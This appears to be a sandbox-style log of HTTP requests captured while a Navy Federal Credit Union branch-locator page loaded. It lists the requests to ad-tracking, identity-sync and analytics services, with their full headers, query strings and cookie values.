Source: global traffic	HTTP traffic detected: GET /track/up?adv=pcl8biy&ref=https%3A%2F%2Fwww.navyfederal.org%2F&upid=4b42dtd&upv=1.1.0&paapi=1 HTTP/1.1Host: insight.adsrvr.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://9749892.fls.doubleclick.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: TDID=00d6b47b-5df0-41e1-812e-c334ebaa9abf; TDCPM=CAESEgoDYWFtEgsInKC0tPDg8jwQBRIWCgdydWJpY29uEgsIjP3dq6qT_jwQBRIXCghhcHBuZXh1cxILCP7utdWqk_48EAUSFQoGZ29vZ2xlEgsI9tvE_srl-zwQBRIWCgdibHVla2FpEgsI-L6FiKuT_jwQBRIUCgV0YXBhZBILCJbLicGrk_48EAUSFgoHbGh3Yms1ORILCJjticGrk_48EAUSFgoHeWpuMGd1cBILCKSTisGrk_48EAUYBSgDMgsI9qCM7sGT_jwQBTgBQgQiAggBWgdwY2w4Yml5YAE.
Source: global traffic	HTTP traffic detected: GET /engagement/event?input=%7B%22globalId%22%3A%220b31c55f-287d-4370-a8d9-98e50fdf2aed%22%2C%22creativeId%22%3A%22%22%2C%22placementId%22%3A%22%22%2C%22goalId%22%3A%2215654%22%2C%22sessionId%22%3A%22f46e0e56-6062-4c7b-bbc6-b6f1e2e28664%22%2C%22parentPublisherId%22%3A%22%22%2C%22publisherId%22%3A%22%22%2C%22siteId%22%3A%22%22%2C%22commonId%22%3A%22%22%2C%22heartbeat%22%3A1%2C%22url%22%3A%22https%3A%2F%2F9749892.fls.doubleclick.net%2Factivityi%3Bdc_pre%3DCNvcm_yup4YDFUlzQQId92gD5Q%3Bsrc%3D9749892%3Btype%3Dgener0%3Bcat%3Dnfcu_000%3Bord%3D6875800667488%3Bnpa%3D0%3Bauiddc%3D1380165631.1716590754%3Bps%3D1%3Bpcor%3D1576649674%3Buaa%3Dx86%3Buab%3D64%3Buafvl%3DGoogle%252520Chrome%253B117.0.5938.134%257CNot%25253BA%25253DBrand%253B8.0.0.0%257CChromium%253B117.0.5938.134%3Buamb%3D0%3Buam%3D%3Buap%3DWindows%3Buapv%3D10.0.0%3Buaw%3D0%3Bpscdl%3Dnoapi%3Bfrm%3D0%3Bgtm%3D45fe45m0za200%3Bgcd%3D13l3l3l3l1%3Bdma%3D0%3Bepver%3D2%3B~oref%3Dhttps%253A%252F%252Fwww.navyfederal.org%252Fbranches-atms.html%3F%22%2C%22fingerprint%22%3A%22%22%2C%22fingerprintProvider%22%3A%22%22%7D HTTP/1.1Host: bttrack.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://9749892.fls.doubleclick.netSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://9749892.fls.doubleclick.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /p?cid=463774&cb=sifi_att_20021453318._hp HTTP/1.1Host: i.simpli.fiConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://9749892.fls.doubleclick.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: suid=4F23F6C2C1D4438DAA81302CEEAB3C45; uid_syncd_secure=true
Source: global traffic	HTTP traffic detected: GET /adscores/g.pixel?sid=9212282598&_ppid=4ff68111-b678-4699-beeb-4af80cb7d74f&_segid=99&iid=291116a4-3ed1-4243-8e5e-92574127ce52&ona= HTTP/1.1Host: aa.agkn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.navyfederal.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ab=0001%3Ar3yIR%2BLmLjuVsxwwD7P4Loi5%2BIzza9YA; u=C\|0AAAAAAAALePVMAAAAAAA
Source: global traffic	HTTP traffic detected: GET /adscores/g.pixel?sid=9212282598&_ppid=4ff68111-b678-4699-beeb-4af80cb7d74f&_segid=99&iid=c207c80a-2f7e-4578-8ccb-bdf24f5ca4a9&ona= HTTP/1.1Host: aa.agkn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.navyfederal.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ab=0001%3Ar3yIR%2BLmLjuVsxwwD7P4Loi5%2BIzza9YA; u=C\|0AAAAAAAALePVMAAAAAAA
Source: global traffic	HTTP traffic detected: GET /idsync/ex/receive?partner_id=1830&partner_device_id=00d6b47b-5df0-41e1-812e-c334ebaa9abf&partner_url=https%3A%2F%2Fmatch.adsrvr.org%2Ftrack%2Fcmf%2Fgeneric%3Fttd_pid%3Dtapad HTTP/1.1Host: pixel.tapad.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://insight.adsrvr.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: TapAd_TS=1716590766667; TapAd_DID=d437c4e6-2c1d-4fee-a2b0-0cd5b17a32ae; TapAd_3WAY_SYNCS=
Source: global traffic	HTTP traffic detected: GET /1/i/adsct?bci=5&eci=3&event=%7B%7D&event_id=8fe646c2-4d81-4371-ac38-dd415ddacf00&integration=advertiser&p_id=Twitter&p_user_id=0&pl_id=01f6fb2f-27c0-4364-9f29-afabad0e5f10&tw_document_href=https%3A%2F%2Fwww.navyfederal.org%2Fbranches-atms.html&tw_iframe_status=0&txn_id=o4vdx&type=javascript&version=2.3.30 HTTP/1.1Host: analytics.twitter.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.navyfederal.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: personalization_id="v1_i8U0oiFUHf/L+PKbJbHdBg=="; guest_id_marketing=v1%3A171659076476233977; guest_id_ads=v1%3A171659076476233977; guest_id=v1%3A171659076476233977
Source: global traffic	HTTP traffic detected: GET /ddm/activity/attribution_src_register;crd=Zmxvb2RsaWdodF9jb25maWdfaWQ6IDk3NDk4OTIKYWR2ZXJ0aXNlcl9kb21haW46ICJodHRwczovL25hdnlmZWRlcmFsLm9yZyIKeGZhX2F0dHJpYnV0aW9uX2ludGVyYWN0aW9uX3R5cGU6IENPTlZFUlNJT04KZGVidWdfa2V5OiA2NDYyMjY2MzQ2MjgxOTMxNTk4CmN0Y19jb252ZXJzaW9uX2J1Y2tldDogMgphcmNoZXR5cGVfaWQ6IDEyCmFyY2hldHlwZV9pZDogMTMKYXJjaGV0eXBlX2lkOiAxNAphcmNoZXR5cGVfaWQ6IDE1CmFyY2hldHlwZV9pZDogMTYKYXJjaGV0eXBlX2lkOiAxNwphcmNoZXR5cGVfaWQ6IDE4CmFyY2hldHlwZV9pZDogMTkKYXJjaGV0eXBlX2lkOiAyMAphcmNoZXR5cGVfaWQ6IDIxCmFyY2hldHlwZV9pZDogNjI4NzI4Mzg4CmFyY2hldHlwZV9pZDogNjI4NzI4Mzg5CmFyY2hldHlwZV9pZDogNjI4NzI4MzkwCmFyY2hldHlwZV9pZDogNjI4NzI4MzkxCmFyY2hldHlwZV9pZDogNjI4NzA2MTgwCmFyY2hldHlwZV9pZDogNjI4NzA2MTgxCmFyY2hldHlwZV9pZDogNjI4NzA2MTgyCmFyY2hldHlwZV9pZDogNjI4NzA2MTgzCmFyY2hldHlwZV9pZDogNjI4Nzc0MDUyCmFyY2hldHlwZV9pZDogNjI4Nzc0MDUzCmFyY2hldHlwZV9pZDogNjI4Nzc0MDU0CmFyY2hldHlwZV9pZDogNjI4Nzc0MDU1CmFyY2hldHlwZV9pZDogNjI4NzkwNjA4CmFyY2hldHlwZV9pZDogNjI4NzkwNjA5CmFyY2hldHlwZV9pZDogNjI4NzkwNjEwCmFyY2hldHlwZV9pZDogNjI4NzkwNjExCmFyY2hldHlwZV9pZDogNjI4NTEzNjgwCmFyY2hldHlwZV9pZDogNjI4NTEzNjgxCmFyY2hldHlwZV9pZDogNjI4NTEzNjgyCmFyY2hldHlwZV9pZDogNjI4NTEzNjgzCmFyY2hldHlwZV9pZDogNjI4ODUzODYwCmFyY2hldHlwZV9pZDogNjI4ODUzODYxCmFyY2hldHlwZV9pZDogNjI4ODUzODYyCmFyY2hldHlwZV9pZDogNjI4ODUzODYzCmNvbnZlcnNpb25fbWVhc3VyZW1lbnRfZGltZW5zaW9uc19kYXRhIHsKICBtZWFzdXJlbWVudF9kaW1lbnNpb246IENPTlZFUlNJT05fRElNRU5TSU9OX0ZMT09ETElHSFRfQUNUSVZJVFlfSUQKICBtZWFzdXJlbWVudF9kaW1lbnNpb25fdmFsdWUgewogICAgaW50NjRfdmFsdWU6IDEzODg2NDI2CiAgfQp9CmNvbnZlcnNpb25fbWVhc3VyZW1lbnRfZGltZW5zaW9uc19kYXRhIHsKICBtZWFzdXJlbWVudF9kaW1lbnNpb246IENPTlZFUlNJT05fRElNRU5TSU9OX0NPTlZFUlNJT05fREFURQogIG1lYXN1cmVtZW50X2RpbWVuc2lvbl92YWx1ZSB7CiAgICBzdHJpbmdfdmFsdWU6ICIyMDI0LTA1LTI0IgogIH0KfQpicm93c2VyX2F0dHJpYnV0aW9uX2FwaV9yZXF1ZXN0X3Byb2Nlc3NpbmdfYml0czogNTM2ODcwOTEyCnRyaWdnZXJfZGVkdXBsaWNhdGlvbl9rZXk6IDEwMTUyOTYxNDgwNzM4OTc1MDM4CmdhaWFfbW9kZTogZmFsc2UKZWNob19zZXJ2ZXJfYWN0aW9uOiBFQ0hPX1NFUlZFUl9BQ1RJT05fRk9SQ0VfREVMRUdBVEVEX0FSQQpyZWRpcmVjdF91cmxfZnJvbV9lY2hvX3NlcnZlcjogImh0dHBzOi8vYWRzZXJ2aWNlLmdvb2dsZS5jb20vZGRtL2Zscy96L3NyYz05NzQ5ODkyO2RjX3ByZT1DTnZlNnZ5dXA0WURGVFhMT3dJZE5NRUp2QTt0eXBlPWdlbmVyMDtjYXQ9bmZjdV8wMDA7ZGNfbGF0PTtkY19yZGlkPTt0YWdfZm9yX2NoaWxkX2RpcmVjdGVkX3RyZWF0bWVudD07dGZ1YT07bnBhPTtnZHByPSQlN0JHRFBSJTdEO2dkcHJfY29uc2VudD0kJTdCR0RQUl9DT05TRU5UXzc1NSU3RDtvcmQ9MSIKYWdncmVnYXRpb25fY29vcmRpbmF0b3I6IEFHR1JFR0FUSU9OX0NPT1JESU5BVE9SX0FXUwpmbG9vZGxpZ2h0X2FyYV9jb25maWdzIHsKICBhcmNoZXR5cGVzX2NvbmZpZyB7CiAgICBhZ2dyZWdhdGVfa2V5X2FyY2hldHlwZXMgewogICAgICBhcmNoZXR5cGVfaWQ6IDYyODcyODM4OAogICAgICBpbXByZXNzaW9uX2FyY2hldHlwZV9pZDogMTIKICAgICAgY29udmVyc2lvbl9hcmNoZXR5cGVfaWQ6IDIKICAgICAgY29udl9tZXRyaWNfdHlwZTogTUVUUklDX1RZUEVfQ09VTlQKICAgICAgYWdncmVnYXRlX2tleV9sZXZlbDogMQogICAgICBjb250cmlidXRpb25fcGVyY2VudGFnZTogMC4wMQogICAgfQogICAgYWdncmVnYXRlX2tleV9hcmNoZXR5cGVzIHsKICAgICAgYXJjaGV0eXBlX2lkOiA2Mjg3MjgzODkKICAgICAgaW1wcmVzc2lvbl9hcmNoZXR5cGVfaWQ6IDE2CiAgICAgIGNvbnZlcnNpb25fYXJjaGV0eXBlX2lkOiAyCiAgICAgIGNvbnZfbWV0cmljX3R5cGU6IE1FVFJJQ
Source: global traffic	HTTP traffic detected: GET /b/ss/nfcuprod/1/JS-2.23.0-LDQM/s38309634341966?AQB=1&ndh=1&pf=1&t=24%2F4%2F2024%2018%3A46%3A16%205%20240&sdid=70343B24F90FE0B6-3CEBE931959AA0ED&mid=19471654271041955080390332448085131267&aamlh=6&ce=UTF-8&pageName=nfo%3Abranches-atms&g=https%3A%2F%2Fwww.navyfederal.org%2Fbranches-atms.html&c.&getVisitNum=4.2&.c&cc=USD&aamb=RKhpRz8krg2tLO6pguXWp5olkAcUniQYPHaMWWgdJ3xzPWQmdj0y&v1=nfo&v2=nfo%3Abranches-atms&c4=6%3A46PM&v4=6%3A46PM&c5=Friday&v5=Friday&c11=Build%20Date%3A%202024-05-23T17%3A41%3A33Z%20%7CJS%3A%202.23.0%20%7CECID%3A%205.5.0&c13=nfo%3Ahome&c15=AEM&v15=AEM&v16=19471654271041955080390332448085131267&v30=nfo%3Abranches-atms&c45=D%3Dv45&v45=2024-05-24%2018%3A46%3A15&c46=19471654271041955080390332448085131267%7C1&v46=19471654271041955080390332448085131267%7C1&c51=D%3Dg&c59=D%3Dv59&v59=Mozilla%2F5.0%20%28Windows%20NT%2010.0%3B%20Win64%3B%20x64%29%20AppleWebKit%2F537.36%20%28KHTML%2C%20like%20Gecko%29%20Chrome%2F117.0.0.0%20Safari%2F537.36&c60=highestPercentViewed%3D37%20%7C%20initialPercentViewed%3D37%20%2B%20%7C%20foldsSeen%3D1%20%7C%20foldsAvailable%3D2&v62=Do%20Not%20Track%20Disabled&v63=GPC%20is%20Disabled&v64=false&c65=Navy%20Federal%20-%20NFO-AEM%20Websites%7Cproduction&v65=Navy%20Federal%20-%20NFO-AEM%20Websites%7Cproduction&v77=nfo%20branches-atms&s=1280x1024&c=24&j=1.6&v=N&k=Y&bw=1280&bh=907&mcorgid=9BD537045330573C0A490D44%40AdobeOrg&AQE=1 HTTP/1.1Host: analytics.navyfederal.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: at_check=true; _abck=21D1C4FBE0AED4A77782CD6A6455FF7F~0~YAAQVLMUArVCzI6PAQAApSXIrAtP/lgerEAD3d4syX3Lqa1oG7kKzOq6+AeiQbZ79CKhqHTbXIUZwKMpizhvYE46ly/SAaAXbsfKNi4V9Cplt1c1KnCrkjEi9201HRV9HymZEVif/VfI8o6RyJaHsZiN+deKnDjRYHEVV7Tg0ocuDOsqtlSnmNRecku4LI/T7cJ5Wo6LFAvnz3DjpH68xIMzMh+hsDozKB8KLeOWrIPEZUlhRGgrBZOf1T8RrJfaG9UEyADOwGoMC7hp9jdacCRU77FpfNZaTs1/P2H1Z+SAInkkBFIEG0dMqHv2NBzr105ZUfJfIZPeRNA4Hrf3XHFQpVuaAXQQ1yGxb1dW5OQhta11HuBlWXMPZleyYZAjH7Fx3Mpr2IDtpK9fAi+NndgzCSamP5UXhgXSH2M=~-1~\|\|-1\|\|~-1; AMCVS_9BD537045330573C0A490D44%40AdobeOrg=1; s_ecid=MCMID%7C19471654271041955080390332448085131267; ttc_c14=1716590753728; s_ips=907; s_vnc365=1748126753731%26vn%3D1; s_ivc=true; s_cc=true; _gcl_au=1.1.1380165631.1716590754; AMCV_9BD537045330573C0A490D44%40AdobeOrg=179643557%7CMCIDTS%7C19868%7CMCMID%7C19471654271041955080390332448085131267%7CMCAAMLH-1717195550%7C6%7CMCAAMB-1717195550%7CRKhpRz8krg2tLO6pguXWp5olkAcUniQYPHaMWWgdJ3xzPWQmdj0y%7CMCOPTOUT-1716597950s%7CNONE%7CMCAID%7CNONE%7CMCSYNCSOP%7C411-19875%7CvVersion%7C5.5.0; _fbp=fb.1.1716590756253.2112400685; _bts=303c0029-ffb5-4fbb-cb19-a89af2beb49d; _bti=%7B%22app_id%22%3A%22navy-federal-credit-union%22%2C%22bsin%22%3A%22TXpHsrHN64ftiBMINg3THHWuv7e14GRns2MXVEMnwlnIsJ1fhGYhuVSYOAlmjsjrAU%2FNVu5nzfAj%2F%2FvKkXi7KQ%3
Source: global traffic	HTTP traffic detected: GET /cgi-bin/m?ci=tradedesk&cg=00d6b47b-5df0-41e1-812e-c334ebaa9abf HTTP/1.1Host: secure-gl.imrworldwide.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://insight.adsrvr.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /i/adsct?bci=5&eci=2&event_id=e8e79cdc-f35b-4395-943d-144463250bb1&events=%5B%5B%22pageview%22%2C%7B%7D%5D%5D&integration=advertiser&p_id=Twitter&p_user_id=0&pl_id=01f6fb2f-27c0-4364-9f29-afabad0e5f10&tw_document_href=https%3A%2F%2Fwww.navyfederal.org%2Fbranches-atms.html&tw_iframe_status=0&tw_order_quantity=0&tw_sale_amount=0&txn_id=o4vdx&type=javascript&version=2.3.30 HTTP/1.1Host: analytics.twitter.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: personalization_id="v1_i8U0oiFUHf/L+PKbJbHdBg=="; guest_id_marketing=v1%3A171659076476233977; guest_id_ads=v1%3A171659076476233977; guest_id=v1%3A171659076476233977
Source: global traffic	HTTP traffic detected: GET /setuid/a9?entity=188&code=wCkBr523Tkqf1J4YPCC1Ww&redir=https%3A%2F%2Fs.amazon-adsystem.com%2Fecm3%3Fex%3DxandrHMT%26id%3D%24UID HTTP/1.1Host: ib.adnxs.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: receive-cookie-deprecation=1; XANDR_PANID=NKMGS9Twxjo6H0d4xg31IMKQLgBt50x7m5TfyQMEkjYtxbArrlOOapSE9KrWT55KVffqeuEmhoYeVV8wh5UbopZeEWHDkhWgKiRbE9Z7VHw.; uuid2=6116765264039870456; anj=dTM7k!M4.FE:2jUF']wIg2E?d?=+XZ!A#FZ.TOK`YT5U?QgGs+h/jTcgm>oi+IwEk^^ZXiHJ<dcw^6_jc?Ppkz0nypNjf=kLd><f=kWg0D(HGz^Q
Source: global traffic	HTTP traffic detected: GET /i/adsct?bci=5&eci=2&event_id=e8e79cdc-f35b-4395-943d-144463250bb1&events=%5B%5B%22pageview%22%2C%7B%7D%5D%5D&integration=advertiser&p_id=Twitter&p_user_id=0&pl_id=01f6fb2f-27c0-4364-9f29-afabad0e5f10&tw_document_href=https%3A%2F%2Fwww.navyfederal.org%2Fbranches-atms.html&tw_iframe_status=0&tw_order_quantity=0&tw_sale_amount=0&txn_id=o4vdx&type=javascript&version=2.3.30 HTTP/1.1Host: t.coConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: muc_ads=5afb271d-5ca0-4fba-8d76-91e68208e2e2
Source: global traffic	HTTP traffic detected: GET /1/i/adsct?bci=5&eci=3&event=%7B%7D&event_id=8fe646c2-4d81-4371-ac38-dd415ddacf00&integration=advertiser&p_id=Twitter&p_user_id=0&pl_id=01f6fb2f-27c0-4364-9f29-afabad0e5f10&tw_document_href=https%3A%2F%2Fwww.navyfederal.org%2Fbranches-atms.html&tw_iframe_status=0&txn_id=o4vdx&type=javascript&version=2.3.30 HTTP/1.1Host: t.coConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: muc_ads=5afb271d-5ca0-4fba-8d76-91e68208e2e2
Source: global traffic	HTTP traffic detected: GET /match?publisher_dsp_id=416&external_user_id=BscuP2u4QsumCHkei5Vfyw&r=https%3A%2F%2Fs.amazon-adsystem.com%2Fecm3%3Fex%3DimprovedigitalHMT%26id%3D%7BPUB_USER_ID%7D HTTP/1.1Host: match.360yield.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /engagement/event?input=%7B%22globalId%22%3A%220b31c55f-287d-4370-a8d9-98e50fdf2aed%22%2C%22creativeId%22%3A%22%22%2C%22placementId%22%3A%22%22%2C%22goalId%22%3A%2215654%22%2C%22sessionId%22%3A%22f46e0e56-6062-4c7b-bbc6-b6f1e2e28664%22%2C%22parentPublisherId%22%3A%22%22%2C%22publisherId%22%3A%22%22%2C%22siteId%22%3A%22%22%2C%22commonId%22%3A%22%22%2C%22heartbeat%22%3A1%2C%22url%22%3A%22https%3A%2F%2F9749892.fls.doubleclick.net%2Factivityi%3Bdc_pre%3DCNvcm_yup4YDFUlzQQId92gD5Q%3Bsrc%3D9749892%3Btype%3Dgener0%3Bcat%3Dnfcu_000%3Bord%3D6875800667488%3Bnpa%3D0%3Bauiddc%3D1380165631.1716590754%3Bps%3D1%3Bpcor%3D1576649674%3Buaa%3Dx86%3Buab%3D64%3Buafvl%3DGoogle%252520Chrome%253B117.0.5938.134%257CNot%25253BA%25253DBrand%253B8.0.0.0%257CChromium%253B117.0.5938.134%3Buamb%3D0%3Buam%3D%3Buap%3DWindows%3Buapv%3D10.0.0%3Buaw%3D0%3Bpscdl%3Dnoapi%3Bfrm%3D0%3Bgtm%3D45fe45m0za200%3Bgcd%3D13l3l3l3l1%3Bdma%3D0%3Bepver%3D2%3B~oref%3Dhttps%253A%252F%252Fwww.navyfederal.org%252Fbranches-atms.html%3F%22%2C%22fingerprint%22%3A%22%22%2C%22fingerprintProvider%22%3A%22%22%7D HTTP/1.1Host: bttrack.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: GLOBALID=2uKlc8-sIBd987FnJ3_EGJz4AHMFJ9T7D3E4nQyxIEOOQb5oiA66qvuxm2bXmopXIWr2S4rHQ5QC4TM1
Source: global traffic	HTTP traffic detected: GET /universal_pixel.1.1.0.js HTTP/1.1Host: js.adsrvr.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"If-None-Match: "2775054c068b37509e0798448f7fd32c"If-Modified-Since: Mon, 20 May 2024 07:02:14 GMTsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://insight.adsrvr.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: TDID=00d6b47b-5df0-41e1-812e-c334ebaa9abf; TDCPM=CAESEgoDYWFtEgsInKC0tPDg8jwQBRIWCgdydWJpY29uEgsIjP3dq6qT_jwQBRIXCghhcHBuZXh1cxILCP7utdWqk_48EAUSFQoGZ29vZ2xlEgsI9tvE_srl-zwQBRIWCgdibHVla2FpEgsI-L6FiKuT_jwQBRIUCgV0YXBhZBILCJbLicGrk_48EAUSFgoHbGh3Yms1ORILCJjticGrk_48EAUSFgoHeWpuMGd1cBILCKSTisGrk_48EAUSFgoHYWRkdGhpcxILCOrul9Crk_48EAUSGAoJYWRhZHZpc29yEgsIzJOY0KuT_jwQBRIVCgZjYXNhbGUSCwjauJjQq5P-PBAFGAUoAzILCKLBmv3Bk_48EAU4AUIEIgIIAVoHcGNsOGJpeWAB
Source: global traffic	HTTP traffic detected: GET /adadvisor.gif?segment=000&_ppid=4ff68111-b678-4699-beeb-4af80cb7d74f&_segid=99&_zip=&hk=&iid=291116a4-3ed1-4243-8e5e-92574127ce52&mt=&bd=&cb=1716590780928 HTTP/1.1Host: px0.pbbl.coConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.navyfederal.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
